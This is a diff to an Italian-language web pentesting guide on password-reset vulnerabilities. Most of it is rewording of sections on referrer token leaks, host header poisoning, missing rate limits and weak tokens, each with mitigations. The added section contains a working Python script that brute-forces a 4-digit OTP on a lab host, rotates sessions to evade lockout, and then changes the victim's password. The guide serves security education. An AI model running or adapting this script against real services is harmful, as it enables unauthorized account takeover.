diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 2f52adf9c..f35e94201 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -5,8 +5,8 @@ ## **Password Reset Token Leak Via Referrer** - L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password. -- **Impatto**: Potenziale assunzione dell'account tramite attacchi Cross-Site Request Forgery (CSRF). -- **Sfruttamento**: Per controllare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare la tua password** immediatamente. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi. +- **Impatto**: Possibile assunzione del controllo dell'account tramite attacchi Cross-Site Request Forgery (CSRF). +- **Sfruttamento**: Per verificare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi. - **Riferimenti**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) @@ -15,7 +15,7 @@ ## **Password Reset Poisoning** - Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo. -- **Impatto**: Porta a una potenziale assunzione dell'account rivelando i token di reset agli attaccanti. +- **Impatto**: Porta a una possibile assunzione del controllo dell'account rivelando i token di reset agli attaccanti. - **Passi di mitigazione**: - Convalidare l'intestazione Host rispetto a un elenco di domini consentiti. - Utilizzare metodi sicuri lato server per generare URL assoluti. @@ -93,9 +93,9 @@ POST /api/changepass ## **Nessun Limite di Frequenza: Email Bombing** -- La mancanza di limitazione della frequenza nelle richieste di reset della password può portare a email bombing, sommergendo l'utente con email di reset. +- La mancanza di limiti di frequenza sulle richieste di reset della password può portare a un bombardamento di email, sopraffacendo l'utente con email di reset. - **Passi di Mitigazione**: -- Implementa la limitazione della frequenza basata su indirizzo IP o account utente. +- Implementa limiti di frequenza basati su indirizzo IP o account utente. - Usa sfide CAPTCHA per prevenire abusi automatizzati. - **Riferimenti**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) @@ -110,7 +110,7 @@ POST /api/changepass - Basato sulla Data di Nascita - Basato sulla Criptografia - **Passi di Mitigazione**: -- Usa metodi crittografici forti per la generazione dei token. +- Usa metodi forti e crittografici per la generazione dei token. - Assicurati di una sufficiente casualità e lunghezza per prevenire la prevedibilità. - **Strumenti**: Usa Burp Sequencer per analizzare la casualità dei token. @@ -123,7 +123,7 @@ uuid-insecurities.md {{#endref}} - **Passi di Mitigazione**: -- Usa la versione 4 di GUID per la casualità o implementa misure di sicurezza aggiuntive per altre versioni. +- Usa GUID versione 4 per la casualità o implementa misure di sicurezza aggiuntive per altre versioni. - **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID. ## **Manipolazione della Risposta: Sostituire una Risposta Negativa con una Positiva** @@ -141,12 +141,12 @@ uuid-insecurities.md - **Passi di Mitigazione**: - Implementa politiche rigorose di scadenza dei token e valida la scadenza del token lato server. -## **Brute Force del Token di Reset della Password** +## **Forzatura del Token di Reset della Password** - Tentare di forzare il token di reset utilizzando strumenti come Burpsuite e IP-Rotator per bypassare i limiti di frequenza basati su IP. - **Passi di Mitigazione**: - Implementa meccanismi robusti di limitazione della frequenza e di blocco dell'account. -- Monitora attività sospette indicative di attacchi di forza bruta. +- Monitora attività sospette indicative di attacchi di forzatura. ## **Prova a Usare il Tuo Token** @@ -158,7 +158,7 @@ uuid-insecurities.md - Assicurati che le sessioni siano invalidate quando un utente esce o resetta la propria password. - **Passi di Mitigazione**: -- Implementa una corretta gestione delle sessioni, assicurandoti che tutte le sessioni siano invalidate al logout o al reset della password. +- Implementa una corretta gestione delle sessioni, assicurando che tutte le sessioni siano invalidate al logout o al reset della password. ## **Invalidazione della Sessione al Logout/Reset della Password** @@ -166,6 +166,70 @@ uuid-insecurities.md - **Passi di Mitigazione**: - Imposta un tempo di scadenza ragionevole per i token di reset e applicalo rigorosamente lato server. +## **Bypass del Limite di Frequenza OTP cambiando la tua sessione** + +- Se il sito web utilizza la sessione utente per tracciare i tentativi errati di OTP e l'OTP era debole (<= 4 cifre), allora possiamo effettivamente forzare l'OTP. +- **sfruttamento**: +- basta richiedere un nuovo token di sessione dopo essere stati bloccati dal server. +- **Esempio** di codice che sfrutta questo bug indovinando casualmente l'OTP (quando cambi la sessione, l'OTP cambierà anche, e quindi non saremo in grado di forzarlo sequenzialmente!): + +``` python +# Bypass di autenticazione tramite reset della password +# di coderMohammed +import requests +import random +from time import sleep + +headers = { +"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1", +"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea" +} +url = "http://10.10.12.231:1337/reset_password.php" +logout = "http://10.10.12.231:1337/logout.php" +root = "http://10.10.12.231:1337/" + +parms = dict() +ter = 0 +phpsessid = "" + +print("[+] Inizio attacco!") +sleep(3) +print("[+] Questo potrebbe richiedere circa 5 minuti per finire!") + +try: +while True: +parms["recovery_code"] = f"{random.randint(0, 9999):04}" # numero casuale da 0 - 9999 con 4 d +parms["s"] = 164 # non importante, influisce solo sul frontend +res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) + +if ter == 8: # seguire il numero di tentativi +out = requests.get(logout,headers=headers) # ti disconnette +mainp = requests.get(root) # ottiene un altro phpssid (token) + +cookies = out.cookies # estrae il sessionid +phpsessid = cookies.get('PHPSESSID') +headers["cookies"]=f"PHPSESSID={phpsessid}" # aggiorna gli headers con la nuova sessione + +reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # invia l'email per cambiare la password per +ter = 0 # resetta ter in modo da ottenere una nuova sessione dopo 8 tentativi +else: +ter += 1 +if(len(res.text) == 2292): # questa è la lunghezza della pagina quando ottieni correttamente il codice di recupero (ottenuto testando) +print(len(res.text)) # per informazioni di debug +print(phpsessid) + +reset_data = { # qui cambieremo la password in qualcosa di nuovo +"new_password": "D37djkamd!", +"confirm_password": "D37djkamd!" +} +reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers) + +print("[+] La password è stata cambiata in:D37djkamd!") +break +except Exception as e: +print("[+] Attacco fermato") +``` + ## Riferimenti - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)